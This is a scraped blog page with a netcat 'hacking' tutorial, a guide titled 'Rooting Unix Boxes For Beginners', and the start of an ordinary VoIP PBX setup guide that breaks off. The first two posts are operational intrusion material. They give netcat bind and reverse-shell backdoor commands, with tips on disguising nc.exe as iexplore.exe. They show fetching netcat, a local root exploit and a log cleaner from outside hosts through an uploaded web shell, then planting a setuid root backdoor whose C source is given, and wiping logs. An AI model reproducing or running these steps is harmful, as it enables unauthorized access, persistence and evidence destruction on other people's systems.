Disclaimer</h3>
For educational uses only. I do not condone any use of this tutorial for malicious behavior. Its simple. If its not your computer. Don't mess with it.<br />
<br />
<h3>
What is netcat?</h3>
Netcat is a computer networking service for reading from and writing network connections using TCP or UDP Netcat is designed to be a dependable "back-end" device that can be used candidly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.<br />
<br />
<h3>
Download</h3>
The official download website of Netcat for both Windows and Linux is <a href="http://www.downloadnetcat.com/" style="color: #417394; text-decoration: none;" target="_blank">http://www.downloadnetcat.com/</a>. I am not going to go into depth on how to install. Basically if your running windows place nc.exe in system32 folder. If your running Linux you sudo apt-get install netcat (or whatever the command is for your version of Linux)or compile it yourself from the tarball.<br />
<br />
<h3>
Command Line</h3>
-d Puts netcat in stealth mode. Therefore it runs in the background. This command is only available on windows.<br />
-e <command> If compiled into the GAPING_SECURITY_HOLE option, a listening netcat will execute <command> any time someone makes a connection on the port to which it is listening<br />
-i <seconds> This is the delay interval. This is the amount of time netcat waits between data sends.<br />
-g <route-list>Netcat supports loose source routing.<br />
-G <hop-pointer> This option allows you to control which ip in your route-list the next hop.<br />
-l This is listen mode.<br />
-L This is a stronger listen mode only availiable in windows. It tells Netcat to restart its listen mode with the same command-line options after a connection is closed<br />
-n Tells netcat not to do any hostname lookups.<br />
-o <hexfile> Does a hex dump on the data and stores it in hexfile.<br />
-p <port> Specifies the port<br />
-r Netcatchooses random local and remote ports.<br />
-sSpecifies the source ip adress netcat should use when making its connections.<br />
-t If compiled with the telnet option netcat will be able to handle telnet negotiation with a telnet server.<br />
-u Tells netcat to use UDP instead of TCP.<br />
-v Verbose. Controls how much netcat will tell you what its doing.<br />
-w <seconds> Controls how long netcat will wait before canceling connection.<br />
-z Tells netcat to only send enough data to find which ports are listening in your specified range.<br />
<br />
<br />
<h3>
Usage</h3>
<br />
<strong>Netcat Backdoor Victim</strong>:<br />
<div class="command wobble-horizontal">
nc -L -d -p <port> -t -e cmd.exe</div>
<br />
<br />
-L is the listening command. -d tells netcat not to open a window when running. -p assigns a port. -t is for telnet. -e activates cmd.exe when client connects to it<br />
<br />
<br />
<strong>Client</strong>:<br />
<div class="command wobble-horizontal">
nc -v <ip address of victim></div>
<br />
<br />
<br />
<br />
note: In this example netcat runs in the background on the victims machine. A system admin may open task manager and see that nc.exe is running. A smart hacker would change nc.exe to something like iexplorer.exe or updatemanager.exe in order to avoid suspiscion. Now, if a system administrator runs a trusted netstat –a –n command at the DOS prompt, he or she might notice that something is running on a rather odd port, telnet to that port, and discover the trick. However, Windows uses several random ports for varying reasons and netstat output can be time consuming to parse, especially on systems<br />
with a lot of activity. Hackers might try a different approach. If they've infiltrated a Citrix server, for example, accessed by several users who are surfing the Web, you'd expect to see a lot of Domain Name System (DNS) lookups and Web connections. Running netstat –a –n would reveal a load of outgoing TCP port 80 connections. Instead of having an instance of Netcat listening on the Windows box and waiting for connections, Netcat can pipe the input and output of the cmd.exe program to another Netcat instance listening on a remote box on port 80. On his end, the hacker would run: <br />
<div class="system highlight pop">
nc –l –p 80 </div>
From the Windows box, the hacker could cleverly "hide" Netcat again and issue these commands:<br />
<div class="command wobble-horizontal">
mkdir C:\Windows\System32\Drivers\q<br />
move nc.exe C:\Windows\System32\Drivers\q\iexplore.exe<br />
cd Windows\System32\Drivers\q<br />
WINDOWS\System32\DRIVERS\q>iexplore.exe<br />
Cmd line: -d -e cmd.exe originix 80<br />
WINDOWS\System32\DRIVERS\q> </div>
Now the listening Netcat should pick up the command shell from the Windows machine. This can do a better job of hiding a backdoor from a system administrator. At first glance, the connection will just look like Internet Explorer making a typical HTTP connection. Its only disadvantage for the hacker is that after terminating the shell, there's no way of restarting it on the Windows side.<br />
<br />
<br />
<h3>
Port Scanning Command:</h3>
<div class="command wobble-horizontal">
nc -z -w2 <IP Address> 1-6000 </div>
<br />
<br />
<br />
-z tells netcat to run a port scan. -w2 tells netcat to wait for 2 seconds before disconnecting. 1-6000 are the ports to scan. If you want you can add -v or -vv to see more of what is going on making it:<br />
nc -vv -z -w2 <IP Address> 1-6000<br />
<br />
<br />
<h3>
Banner Grabbing</h3>
Banner grabbing is a function that helps you see what is running behind a given port.<br />
<br />
Command:<br />
<div class="command wobble-horizontal">
nc <IP Address> 80</div>
<br />
<br />
<br />
Command:<br />
<div class="command wobble-horizontal">
GET HTTP<br />
or<br />
HEAD / HTTP/1.0</div>
<br />
<strong> (Hit return twice)</strong><br />
<br />
<br />
<h3>
File Transfer:</h3>
From system in which file is stored:<br />
<div class="command wobble-horizontal">
nc –l –u –p 55555 < file_we_want</div>
<br />
<br />
Command of receiving system:<br />
<div class="command wobble-horizontal">
nc –u –targethost 55555 > copy_of_file</div>
<br />
<br />
<br />
This can be used to grab the etc/passwd file. This can be done by utilizing the command<br />
<div class="command wobble-horizontal">
nc -l -u -p 55555 < /etc/passwd</div>
<br />
<br />
<br />
Netcat does file transfer under the radar. It does not leave any logs whatsoever. Many other FTP do leave logs.<br />
<br />
<br />
<h3>
Setting a Trap</h3>
You could run a instance of netcat on a port a hacker may be expecting to find vulnerabilities. If your good you may be able to trap the hacker using something like command:<br />
<div class="command wobble-horizontal">
nc –l –v –e <a href="http://fakemail.pl/">fakemail.pl</a> –p 25 >> traplog.txt</div>
<br />
<br />
Your fakemail script might echo some output to tell the world it's running a version of sendmail and practically beg a script kiddy to come hack it . Once he does you could flood him with what ever you want. If your nice you could just run a script to grab his IP.<br />
<br />
<br />
<h3>
Linux Backdoor</h3>
Most of this tutorial was built around hacking windows with netcat. However, the same can be done on a Linux system with the command:<br />
<div class="command wobble-horizontal">
nc –u –l –p 55555 –e /bin/sh nc</div>
<br />
<br />
<h3>
Create your own usage</h3>
There are several shell scripts and C programs that generate even more possible ways to utilize netcat. With a little understanding of computer programming you can create your own usage of netcat. I encourage you to try.<br />
<br />
<br />
<h3>
Cryptcat</h3>
Cryptcat is what is self explanatory. It is an encrypted version of netcat. It uses an enhanced version of twofish encryption to keep netcat traffic hidden.<br />
<br />
<br />
You might argue that netcat is a glorified telnet. Well it is. However it has far more capabilities. Netcat is my favorite tool because of its simplicity. It is easily compiled into scripts or code. You may say "Abstrakt, are you an idiot? There are programs such as meterpreter that can be used as backdoors that are far more easier." To this I say yes I am an idiot, but netcat is much more than just a backdoor. You may also say "Abstrakt, you are an idiot. How do you get a copy of nc.exe into the system32 folder without having access to the computer?" Again I agree I am an idiot but I encourage you to learn to program in C or write scripts in perl and find a way to compile nc.exe into a code or script. It is a great tool to have in your arsenal even if you are a meterpreter fan. There are many other uses of netcat than what I explained. I encourage you to look further into it. Also this is my first post on intern0t. All criticism is welcome and preferred. I plan to create more advanced netcat tutorials in the future going further in depth with each usage.<br />
<br /></div>
</div>

Cheet Sheet Cryptcat Hacking Netcat Tutorials Netcat Explained

NETCAT AND CRYPTCAT This tutorial is a combination of different sources. I can not take credit for all the information I just compil...

Rooting Unix Boxes For Beginners

7/15/2011 rahlabs 0

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<br />
Hello and welcome to rahlabs tutorial on Rooting unix boxes. Today we will learn a few fundementals on what it takes to root a your box! In Today's Tutorial we will be using a linux box.<br />
<br />
Required for this tutorial:<br />
<br />
Access to a shell - Upload by any-means a shell onto a box<br />
<a href="http://b14ck1c3.freehostia.com/miglc">mig-log cleaner</a><br />
<a href="http://www.vulnwatch.org/netcat/nc111nt.zip">Netcat</a><br />
<a href="http://b14ck1c3.freehostia.com/nc">Netcat(unix)</a><br />
<a href="http://jshooter.by.ru/xpl/">Local root Exploit</a><br />
half a brain<br />
willingness to learn<br />
<br />
Now that you have all that in order lets begin.<br />
<br />
Go to the path of or access your shell by whatever means nessecary.<br />
Make sure that your shell is in a writable folder just to make things easy for us. In our case today for this tutorial we will be using storm7shell or gny not exactly my favorite but will get the job done none the less.<br />
An example of this location would be something like:<br />
<br />
<a href="http://target/youshell.php">http://target/youshell.php</a><a href="http://target/youshell.php"></a><br />
Now that we are on your shells page we want to find out what os this box is running and what version the kernel is. In our case it's linux 2.6.8. So we will want to find a local root exploit for this kernel version of the linux os.<br />
<br />
What we want to do now that we have our local root exploit for our kernel is spawn a shell so that we can talk to the victim's box and run our commands without interuption, But how are we suppose to do that? This can be done by using a tool called Netcat. So now that we have a copy of Netcat we will go to the shell, Find the command execution area of the shell and enter:<br />
<br />
<div class="command wobble-horizontal">
wget <a href="http://b14ck1c3.freehostia.com/nc">http://b14ck1c3.freehostia.com/nc</a></div>
<br />
<br />
<br />
What this will do is download the file of Netcat i have pre-compiled and hosted for you onto the victim box to the location of your shell. Once we have the download complete we will want to chmod it so that our user has access to run it. which can be done by entering:<br />
<br />
<div class="command wobble-horizontal">
chmod +x nc</div>
<br />
<br />
What this does is grants everyone (user, group and other) execute permission, and the command to the file nc which we had just previously downloaded onto the box with the wget command.<br />
<br />
Now that we have nc installed on both the victim machine and your own it's time to make our connection. How Do we make a connection with nc? In the command execution area of your shell enter:<br />
<br />
<div class="command wobble-horizontal">
./nc -l -p 8080 -e /bin/sh</div>
<br />
<br />
(shell can be /bin/sh or cmd.exe for example)<br />
<br />
And then on the netcat installed on your pc you will want to enter:<br />
<br />
nc VictimIP Port *in our case 8080*<br />
<div class="command wobble-horizontal">
#nc 123.123.123.123 8080</div>
<br />
<br />
<br />
What this will do is cause the netcat on the victims box to listen on port 8080 and shovel back an interactive shell for you once you make the connection from which you typed:<br />
<br />
nc victimip port<br />
Now that We have our interactive shell spawned we can start to prepare the box for Rooting. First we will want to get our local root exploit onto the box and get it compiled if it's not already. This can be done by once again using that nifty wget command we learned about in the previous steps.<br />
<br />
<div class="command wobble-horizontal">
wget <a href="http://yoursite/xpl">http://yoursite/xpl</a></div>
<br />
<br />
What we have done is now downloaded your exploit. If your exploit is not already compiled you will need to compile it in order to run it. Compiling your exploit can be done by using the gcc, like so:<br />
<br />
<div class="command wobble-horizontal">
gcc xpl.c -o xpl;chmod +x xpl</div>
<br />
<br />
This will compile your xpl.c and output it into a file called xpl wich will be the compiled copy of your exploit and then chmod xpl. Now you are ready to run your exploit and get your root on. The exploit will vary on their usage so make sure you have an understanding of the root exploit you are using. You can run your xpl file by entering in:<br />
<br />
Code:<br />
<div class="command wobble-horizontal">
./xpl</div>
<br />
<br />
Wait until your exploit is finished running once it is done enter:<br />
<br />
<div class="command wobble-horizontal">
#whoami</div>
<br />
<br />
What the whoami command does is tells you who you are if this tells you root then you xpl has done it's job and you now have root priv's on the box. or you can type:<br />
<br />
<div class="command wobble-horizontal">
#id<br />
uid=0(root) gid=0(root) groups=500(apache)</div>
<br />
<br />
And now you can do your happy dance.<br />
Now that we have rooted the box and finished humiliating ourselves by dancing around we want to make sure that we can come and go as we please without all the hassel of Rooting the box over and over. So we will want to create some kind of backdoor. we can make this happen with few lines of code:<br />
Code:<br />
<div class="program glow">
<pre><code class="prettyprint">
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main( void )
{
     setuid( 0 );
     system( "/bin/bash" );
     return 0;
}
</code></pre>
</div>
<br />
<br />
Compile it and change permissions:<br />
Code:<br />
<div class="command wobble-horizontal">
root@foobar /root# gcc -o .bkdr main.c<br />
root@foobar /root# chown root:root .bkdr<br />
root@foobar /root# chmod +s .bkdr</div>
<br />
<br />
Now, all you have to do is put .bkdr somewhere on the system where you can execute it (preferrably in the $PATH) and if you execute it as another user: <br />
Code:<br />
<div class="command wobble-horizontal">
root@foobar /home/raif$ /usr/local/bin/.bkdr<br />
root@foobar /home/raif# whoami<br />
root</div>
<br />
<br />
Now you have your access back. <br />
Alright we are almost completed our mission we have successfully rooted our victims box created ourbackdoor now all we need to do is wipe our tracks that we left in the logs and be on our way. This can be done by using a log cleaner of some kind. For this tutorial we used mig-log cleaner. which you can get here:<br />
<br />
Code:<br />
<br />
<a href="http://b14ck1c3.freehostia.com/miglc">http://b14ck1c3.freehostia.com/miglc</a><a href="http://b14ck1c3.freehostia.com/miglc"></a>Once again we can use our wget command to upload our logcleaner to the rooted box.<br />
<br />
Code:<br />
<div class="command wobble-horizontal">
wget <a href="http://b14ck1c3.freehostia.com/miglc;chmod">http://b14ck1c3.freehostia.com/miglc;chmod</a> +x miglc</div>
<br />
<br />
now just run the logcleaner<br />
<br />
Code:<br />
<div class="command wobble-horizontal">
./miglc</

The mig-log Cleaner has a wide variety of functions which are displayed when you run the log cleaner so you may choose how exactly you want to clean the logs with the commands given to you. I hope you enjoyed my tutorial and learned something from it as well. Good luck to you all.

Regards,

Hardeep Singh

(<a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a>)<br />
<br /></div>
</div>

Hacking Tutorials Linux Linux Tutorials OS Root Rooting Tutorials Rooting Unix Boxes For Beginners

Hello and welcome to rahlabs tutorial on Rooting unix boxes. Today we will learn a few fundementals on what it takes to root a your box!...

Setup IP PBX for small business step by step

7/06/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaLh3jvYX0Wqd8ytKsZEyR13D6yKftA0YAHBa5YrOhXLLNoRSjDvD9pkhLsqRITiq7i5XtNXhENcRoUCHErfAy07elEQ4rD9vt0AMVseBht5vujgBosFOulFSQE4w5zKlYf24htxxmqMU/s1600/pbx-for-small-office.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Setup IP PBX for small business step by step" border="0" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaLh3jvYX0Wqd8ytKsZEyR13D6yKftA0YAHBa5YrOhXLLNoRSjDvD9pkhLsqRITiq7i5XtNXhENcRoUCHErfAy07elEQ4rD9vt0AMVseBht5vujgBosFOulFSQE4w5zKlYf24htxxmqMU/s1600/pbx-for-small-office.png" title="Step by step guide to setup IP PBX for small office" width="400" /></a></div>
<h1 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif;">
<span style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px;"><br /></span></h1>
<h1 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif;">
<span style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px;">Index</span></h1>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="http:/#Instruction" style="color: #0080ff; font-weight: bold; text-decoration: none;">1. Instruction</a></span></div>
</li>
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">
<li><div style="line-height: 15px;">
<a href="http:/#What_VOIP" style="color: #0080ff; font-weight: bold; text-decoration: none;">2. What's VOIP?</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#ip_pbx" style="color: #0080ff; font-weight: bold; text-decoration: none;">2.1 IP-PBX</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/index.html#phones" style="color: #0080ff; font-weight: bold; text-decoration: none;">2.2 Phones</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#voip_carriers" style="color: #0080ff; font-weight: bold; text-decoration: none;">2.3 VOIP carriers</a></div>
</li>
</ul>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#Scenario" style="color: #0080ff; font-weight: bold; text-decoration: none;">3. Scenario</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#Configuration" style="color: #0080ff; font-weight: bold; text-decoration: none;">4. Configuration</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#step1" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.1 Step1: setup miniSipServer</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#step2" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.2 Step2: connect local users to miniSipServer</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#step2_1" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.2.1 Add a new extension in miniSipServer</a></div>
</li>
</ul>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#step3" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.3 Step 3: connect miniSipServer to VOIP provider</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#Make_outgoing_call" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.3.1 Make outgoing call</a></div>
</li>
<li>  <div style="line-height: 15px;">
<a href="http:/#Receive_incoming_call" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.3.2 Receive incoming call</a></div>
</li>
</ul>
</li>
</ul>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#Advance_configuration" style="color: #0080ff; font-weight: bold; text-decoration: none;">5. Advance configuration</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#voice_mail" style="color: #0080ff; font-weight: bold; text-decoration: none;">5.1 Voice mail</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#Ringing_group" style="color: #0080ff; font-weight: bold; text-decoration: none;">5.2 Ringing group</a></div>
</li>
</ul>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#faq" style="color: #0080ff; font-weight: bold; text-decoration: none;">6. FAQ</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#faq_sip_port" style="color: #0080ff; font-weight: bold; text-decoration: none;">6.1 How to change SIP port?</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#faq_stun" style="color: #0080ff; font-weight: bold; text-decoration: none;">6.2 one-way audio or no-way audio problem?</a></div>
</li>
</ul>
</li>
</span></ul>
<div style="line-height: 15px;">
</div>
<div style="border-top: 1px dashed rgb(0, 0, 0);">
</div>
<div style="line-height: 15px;">
</div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Instruction" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>1. Instruction</span></h2>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">More and more peoples start small business now, such as home based business. It is very important to keep communication with our customers. In normal, most of us just use a simple telephone or use skype to do that. It can just fit our basic requirement, but it has obvious shortage, for example, it makes our business looks like a very small business, a personal business. We hope to make our business looks like a big business and our company looks like a professional company. We want to establish a voice interaction for our customers, such as prompt "welcome to xxx company. Please dial the extension or zero for assistance", etc. Can we do that?</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Of course, we can do that! There is a very simple solution to do that using VOIP. This document will give a step by step guide on how to establish a VOIP network for our business. The solution will be as simple as possible, almost just need only one PC with Windows system.</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="What_VOIP" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>2. What's VOIP?</span></h2>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">VOIP is "Voice over Internet Protocol". It is a general term for a family of transmission technologies for delivery of voice communications over IP networks such as the Internet or other packet-switched networks. VOIP can be a benefit for reducing communication and infrastructure costs.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In another way, it is very easy to use VOIP to establish our communication system with rich features.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In normal, we need to setup three main components: IP-PBX, phones (or soft-phones) and VOIP carriers' service that let you call other peoples on the PSTN (Public Switched Telephone Network, it is our traditional telephone network).</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="ip_pbx" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>2.1 IP-PBX</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">There are lots of IP-PBX. Some of them are hardware based devices, some of them are software based server.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">I suggest miniSipServer. miniSipServer is a professional SIP PBX for Windows system. It has all features we need. Most important, it is so easy that we can setup and run it in 10 minutes!</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In another way, if you are familiar with Linux system, I suggest to try Asterisk. It is complex and powerful.</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="phones" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>2.2 Phones</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">We can buy SIP phones from Grandstream, Cisco, Linksys, etc. If we still want to use our traditional analog telephone, we can buy a SIP adapter from them.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">To get started, we use a softphone and run it in the same computer or another computers. I suggest to try Xlite softphone.</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="voip_carriers" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>2.3 VOIP carriers</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Lots of VOIP carriers can provide SIP services. I suggest following VOIP providers:</span></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="http://www.sipgate.co.uk/" style="color: #0080ff; font-weight: bold; text-decoration: none;">Sipgate.</a></span></div>
</li>
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">
<li><div style="line-height: 15px;">
<a href="http://www.voicetrading.com/" style="color: #0080ff; font-weight: bold; text-decoration: none;">VoiceTrading.</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http://www.broadvoice.com/" style="color: #0080ff; font-weight: bold; text-decoration: none;">BroadVoice.</a></div>
</li>
</span></ul>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Once register to these VOIP providers, they will give you a SIP account information, such as SIP server address, account name and password, etc. These information will be used when we configure our IP-PBX.</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Scenario" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>3. Scenario</span></h2>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Following figure describes a simple environment for small business or home based business.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="network" name="network" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/3__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In our demo scenario, the small company only has two member, Holly and G.T.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Holly's extension number is 100, and G.T's extension phone number is 101. Both of them have PCs based on windows system. The IP address of Holly's PC is 192.168.1.100. The IP address of G.T's PC is 192.168.1.101. miniSipServer will be installed on another PC whose IP address is 192.168.1.110.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The company establish connection with PSTN through a VOIP carrier's network.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">We will follow subsequent steps to establish our VOIP network.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><b>Step 1</b>: Setup miniSipServer. Following figure describe it.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="network (step1)" name="step1" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/3__2.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><b>Step 2</b>: Connect local users to miniSipServer.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="network (step2)" name="step2" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/3__3.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><b>Step 3</b>: Connect miniSipServer to VOIP providers' network.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="network" name="network" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/3__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><b>Step 4</b>: Configure some wonderful advance services for our small company, such as auto-attendant, ring group and pick-up.</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Configuration" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4. Configuration</span></h2>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="step1" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.1 Step1: setup miniSipServer</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">This step could be the easiest one in our configuration. We can download the miniSipServer SETUP file from<a href="http://www.myvoipapp.com/download" style="color: #0080ff; font-weight: bold; text-decoration: none;">http://www.myvoipapp.com/download</a>. The latest version is 2.5.4 now.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">There are several kinds of miniSipServer, such as 20 client, 50 clients etc. For example, "100 clients" version can support 100 extensions. Since there are only two members in our scenario, "20 clients" version is enough.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Before we install miniSipServer, please make sure that the PC based on Windows and network are work well firstly.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After that, please click the .EXE file to setup miniSipServer and run it! It is unnecessary to configure anything! So easy!</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">If everything is fine, the miniSipServer should run as following figure.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="MSS main window" name="MSS main window" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_1__1.jpg" /></span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
